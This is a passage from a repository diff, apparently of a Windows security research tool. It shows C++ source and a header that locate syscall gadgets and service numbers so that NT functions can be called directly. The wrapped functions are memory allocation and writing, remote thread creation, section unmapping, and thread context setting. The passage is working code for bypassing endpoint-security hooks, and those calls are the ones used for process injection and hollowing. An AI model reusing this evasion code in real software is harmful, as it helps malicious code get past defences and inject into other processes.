|
||||
{"ZwGetNextProcess", {&g_syscall_stubs.NtGetNextProcess, 5}},
|
||||
{"ZwTerminateProcess", {&g_syscall_stubs.NtTerminateProcess, 2}},
|
||||
{"ZwQueryInformationProcess", {&g_syscall_stubs.NtQueryInformationProcess, 5}},
|
||||
{"ZwUnmapViewOfSection", {&g_syscall_stubs.NtUnmapViewOfSection, 2}},
|
||||
{"ZwGetContextThread", {&g_syscall_stubs.NtGetContextThread, 2}},
|
||||
{"ZwSetContextThread", {&g_syscall_stubs.NtSetContextThread, 2}},
|
||||
{"ZwResumeThread", {&g_syscall_stubs.NtResumeThread, 2}},
|
||||
{"ZwFlushInstructionCache", {&g_syscall_stubs.NtFlushInstructionCache, 3}}};
|
||||
|
||||
for (WORD i = 0; i < sortedSyscalls.size(); ++i)
|
||||
{
|
||||
const auto &mapping = sortedSyscalls[i];
|
||||
auto it = required_syscalls.find(mapping.szName);
|
||||
if (it == required_syscalls.end())
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
PVOID pGadget = nullptr;
|
||||
#if defined(_M_X64)
|
||||
pGadget = FindSyscallGadget_x64(mapping.pAddress);
|
||||
#elif defined(_M_ARM64)
|
||||
pGadget = FindSvcGadget_ARM64(mapping.pAddress);
|
||||
#endif
|
||||
|
||||
if (pGadget)
|
||||
{
|
||||
it->second.first->pSyscallGadget = pGadget;
|
||||
it->second.first->nArgs = it->second.second;
|
||||
it->second.first->ssn = i;
|
||||
}
|
||||
}
|
||||
|
||||
bool all_found = true;
|
||||
for (const auto &pair : required_syscalls)
|
||||
{
|
||||
if (!pair.second.first->pSyscallGadget)
|
||||
{
|
||||
all_found = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (all_found)
|
||||
{
|
||||
debug_print("Successfully initialized all direct syscall stubs.");
|
||||
}
|
||||
else
|
||||
{
|
||||
debug_print("ERROR: One or more required syscall gadgets could not be found.");
|
||||
}
|
||||
|
||||
for (const auto &pair : required_syscalls)
|
||||
{
|
||||
const char *name = pair.first;
|
||||
const auto *stub = pair.second.first;
|
||||
std::stringstream ss;
|
||||
ss << " - " << (name + 2);
|
||||
|
||||
if (stub->pSyscallGadget)
|
||||
{
|
||||
ss << " (SSN: " << stub->ssn << ") -> Gadget: 0x" << std::hex << reinterpret_cast<uintptr_t>(stub->pSyscallGadget);
|
||||
debug_print(ss.str());
|
||||
}
|
||||
else
|
||||
{
|
||||
ss << " -> FAILED to find required gadget.";
|
||||
debug_print(ss.str());
|
||||
}
|
||||
}
|
||||
|
||||
return all_found;
|
||||
}
|
||||
|
||||
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
|
||||
}
|
||||
|
||||
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
|
||||
}
|
||||
|
||||
NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead);
|
||||
}
|
||||
|
||||
NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList);
|
||||
}
|
||||
|
||||
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType);
|
||||
}
|
||||
|
||||
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect);
|
||||
}
|
||||
|
||||
NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
|
||||
}
|
||||
|
||||
NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle);
|
||||
}
|
||||
|
||||
NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus);
|
||||
}
|
||||
|
||||
NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
|
||||
}
|
||||
|
||||
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress);
|
||||
}
|
||||
|
||||
NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext);
|
||||
}
|
||||
|
||||
NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext);
|
||||
}
|
||||
|
||||
NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount);
|
||||
}
|
||||
|
||||
NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush)
|
||||
{
|
||||
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush);
|
||||
}
|
||||
Executable
+146
@@ -0,0 +1,146 @@
|
||||
// syscalls.h
|
||||
// v0.14.2 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#ifndef SYSCALLS_H
|
||||
#define SYSCALLS_H
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#ifndef NTSTATUS
|
||||
using NTSTATUS = LONG;
|
||||
#endif
|
||||
|
||||
struct SYSCALL_ENTRY
|
||||
{
|
||||
PVOID pSyscallGadget;
|
||||
UINT nArgs;
|
||||
WORD ssn;
|
||||
};
|
||||
|
||||
struct SYSCALL_STUBS
|
||||
{
|
||||
SYSCALL_ENTRY NtAllocateVirtualMemory;
|
||||
SYSCALL_ENTRY NtWriteVirtualMemory;
|
||||
SYSCALL_ENTRY NtReadVirtualMemory;
|
||||
SYSCALL_ENTRY NtCreateThreadEx;
|
||||
SYSCALL_ENTRY NtFreeVirtualMemory;
|
||||
SYSCALL_ENTRY NtProtectVirtualMemory;
|
||||
SYSCALL_ENTRY NtOpenProcess;
|
||||
SYSCALL_ENTRY NtGetNextProcess;
|
||||
SYSCALL_ENTRY NtTerminateProcess;
|
||||
SYSCALL_ENTRY NtQueryInformationProcess;
|
||||
SYSCALL_ENTRY NtUnmapViewOfSection;
|
||||
SYSCALL_ENTRY NtGetContextThread;
|
||||
SYSCALL_ENTRY NtSetContextThread;
|
||||
SYSCALL_ENTRY NtResumeThread;
|
||||
SYSCALL_ENTRY NtFlushInstructionCache;
|
||||
};
|
||||
|
||||
struct UNICODE_STRING_SYSCALLS
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
};
|
||||
using PUNICODE_STRING_SYSCALLS = UNICODE_STRING_SYSCALLS *;
|
||||
|
||||
struct OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING_SYSCALLS ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
};
|
||||
using POBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES *;
|
||||
|
||||
enum PROCESSINFOCLASS
|
||||
{
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessImageFileName = 27
|
||||
};
|
||||
|
||||
struct PROCESS_BASIC_INFORMATION
|
||||
{
|
||||
NTSTATUS ExitStatus;
|
||||
PVOID PebBaseAddress;
|
||||
ULONG_PTR AffinityMask;
|
||||
LONG BasePriority;
|
||||
ULONG_PTR UniqueProcessId;
|
||||
ULONG_PTR InheritedFromUniqueProcessId;
|
||||
};
|
||||
using PPROCESS_BASIC_INFORMATION = PROCESS_BASIC_INFORMATION *;
|
||||
|
||||
struct PEB_LDR_DATA
|
||||
{
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
};
|
||||
using PPEB_LDR_DATA = PEB_LDR_DATA *;
|
||||
|
||||
struct RTL_USER_PROCESS_PARAMETERS
|
||||
{
|
||||
BYTE Reserved1[16];
|
||||
PVOID Reserved2[10];
|
||||
UNICODE_STRING_SYSCALLS ImagePathName;
|
||||
UNICODE_STRING_SYSCALLS CommandLine;
|
||||
};
|
||||
using PRTL_USER_PROCESS_PARAMETERS = RTL_USER_PROCESS_PARAMETERS *;
|
||||
|
||||
struct PEB
|
||||
{
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE BitField;
|
||||
BYTE Reserved3[4];
|
||||
PVOID Mutant;
|
||||
PVOID ImageBaseAddress;
|
||||
PPEB_LDR_DATA Ldr;
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
||||
};
|
||||
using PPEB = PEB *;
|
||||
|
||||
struct CLIENT_ID
|
||||
{
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
};
|
||||
using PCLIENT_ID = CLIENT_ID *;
|
||||
|
||||
inline void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING_SYSCALLS n, ULONG a, HANDLE r, PVOID s)
|
||||
{
|
||||
p->Length = sizeof(OBJECT_ATTRIBUTES);
|
||||
p->RootDirectory = r;
|
||||
p->Attributes = a;
|
||||
p->ObjectName = n;
|
||||
p->SecurityDescriptor = s;
|
||||
p->SecurityQualityOfService = nullptr;
|
||||
}
|
||||
|
||||
extern "C"
|
||||
{
|
||||
extern SYSCALL_STUBS g_syscall_stubs;
|
||||
|
||||
[[nodiscard]] BOOL InitializeSyscalls(bool is_verbose);
|
||||
|
||||
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
||||
NTSTATUS NtReadVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
||||
NTSTATUS NtCreateThreadEx_syscall(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID);
|
||||
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG);
|
||||
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
||||
NTSTATUS NtOpenProcess_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
|
||||
NTSTATUS NtGetNextProcess_syscall(HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE);
|
||||
NTSTATUS NtTerminateProcess_syscall(HANDLE, NTSTATUS);
|
||||
NTSTATUS NtQueryInformationProcess_syscall(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE, PVOID);
|
||||
NTSTATUS NtGetContextThread_syscall(HANDLE, PCONTEXT);
|
||||
NTSTATUS NtSetContextThread_syscall(HANDLE, PCONTEXT);
|
||||
NTSTATUS NtResumeThread_syscall(HANDLE, PULONG);
|
||||
NTSTATUS NtFlushInstructionCache_syscall(HANDLE, PVOID, ULONG);
|
||||
}
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user